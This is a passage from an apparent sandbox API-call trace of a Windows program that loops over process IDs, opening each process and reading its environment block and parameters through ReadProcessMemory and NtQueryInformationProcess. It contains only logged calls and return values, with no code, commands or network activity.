| out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.656] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.656] malloc (_Size=0x64) returned 0xeb6310 [0357.656] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6310, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0357.657] free (_Block=0xeb6310) [0357.657] CloseHandle (hObject=0xa9c) returned 1 [0357.658] _ui64tow_s (in: _Value=0xca4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3236") returned 0x0 [0357.658] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3236") returned 4 [0357.658] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.658] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.659] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca4) returned 0xa9c [0357.659] GetLastError () returned 0x0 [0357.659] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.659] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.659] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.660] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x8040a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.660] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803be4, lpBuffer=0x5ec5a0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.661] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.662] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.662] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7c9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.662] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803520, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.663] malloc (_Size=0x11a) returned 0xe76040 [0357.663] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x803c7a, lpBuffer=0xe76040, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe76040*, lpNumberOfBytesRead=0x0) returned 1 [0357.664] free (_Block=0xe76040) [0357.664] CloseHandle (hObject=0xa9c) returned 1 [0357.664] _ui64tow_s (in: _Value=0xd04, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3332") returned 0x0 [0357.664] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3332") returned 4 [0357.664] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.664] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.665] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd04) returned 0xa9c [0357.665] GetLastError () returned 0x0 [0357.665] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.665] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.665] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.666] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.666] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.666] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.666] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.666] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x265020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.666] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.666] malloc (_Size=0x64) returned 0xeb6380 [0357.666] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a84, lpBuffer=0xeb6380, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0357.667] free (_Block=0xeb6380) [0357.668] CloseHandle (hObject=0xa9c) returned 1 [0357.668] _ui64tow_s (in: _Value=0xf20, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0357.668] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3872") returned 4 [0357.668] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.669] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.670] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0xa9c [0357.670] GetLastError () returned 0x0 [0357.670] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.670] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.670] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.671] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d24e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.671] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.671] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.671] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.672] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.672] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.672] malloc (_Size=0x64) returned 0xeb6310 [0357.672] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2164, lpBuffer=0xeb6310, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0357.673] free (_Block=0xeb6310) [0357.674] CloseHandle (hObject=0xa9c) returned 1 [0357.674] _ui64tow_s (in: _Value=0xf60, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3936") returned 0x0 [0357.674] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3936") returned 4 [0357.675] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.675] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.676] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf60) returned 0xa9c [0357.676] GetLastError () returned 0x0 [0357.676] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.676] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.676] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.676] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.677] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.677] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.677] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.677] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.677] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.677] malloc (_Size=0x8c) returned 0xec7de0 [0357.677] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7de0, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7de0*, lpNumberOfBytesRead=0x0) returned 1 [0357.678] free (_Block=0xec7de0) [0357.678] CloseHandle (hObject=0xa9c) returned 1 [0357.679] _ui64tow_s (in: _Value=0xee4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0357.679] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3812") returned 4 [0357.679] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.679] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.680] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0xa9c [0357.680] GetLastError () returned 0x0 [0357.680] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.680] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.681] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.681] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2490, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.681] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a2118, lpBuffer=0x5ec5a0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.682] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.682] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.682] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x22a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.682] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a1ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.682] malloc (_Size=0x2c) returned 0xe723f0 [0357.682] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5a216a, lpBuffer=0xe723f0, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe723f0*, lpNumberOfBytesRead=0x0) returned 1 [0357.683] free (_Block=0xe723f0) [0357.684] CloseHandle (hObject=0xa9c) returned 1 [0357.684] _ui64tow_s (in: _Value=0xf64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0357.684] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3940") returned 4 [0357.684] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.684] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.685] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0xa9c [0357.685] GetLastError () returned 0x0 [0357.685] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.685] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.685] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.686] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5324b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.686] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.686] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.686] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.686] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x203020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.686] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.687] malloc (_Size=0x60) returned 0xeb64d0 [0357.687] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532162, lpBuffer=0xeb64d0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0357.687] free (_Block=0xeb64d0) [0357.687] CloseHandle (hObject=0xa9c) returned 1 [0357.687] _ui64tow_s (in: _Value=0x2c4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="708") returned 0x0 [0357.688] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="708") returned 3 [0357.688] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.688] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.689] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c4) returned 0x0 [0357.689] CloseHandle (hObject=0x0) returned 0 [0357.689] _ui64tow_s (in: _Value=0xffc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4092") returned 0x0 [0357.689] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4092") returned 4 [0357.689] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.689] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.690] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xffc) returned 0xa9c [0357.690] GetLastError () returned 0x0 [0357.690] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.690] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.690] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.691] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2600, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.691] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2228, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.691] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.691] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.691] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x328020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.691] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b1be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.692] malloc (_Size=0x70) returned 0xea8e20 [0357.692] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5b2280, lpBuffer=0xea8e20, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8e20*, lpNumberOfBytesRead=0x0) returned 1 [0357.692] free (_Block=0xea8e20) [0357.693] CloseHandle (hObject=0xa9c) returned 1 [0357.693] _ui64tow_s (in: _Value=0xc78, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3192") returned 0x0 [0357.693] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3192") returned 4 [0357.693] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.693] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.694] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc78) returned 0x0 [0357.694] CloseHandle (hObject=0x0) returned 0 [0357.694] _ui64tow_s (in: _Value=0x888, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2184") returned 0x0 [0357.695] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2184") returned 4 [0357.695] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.695] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: 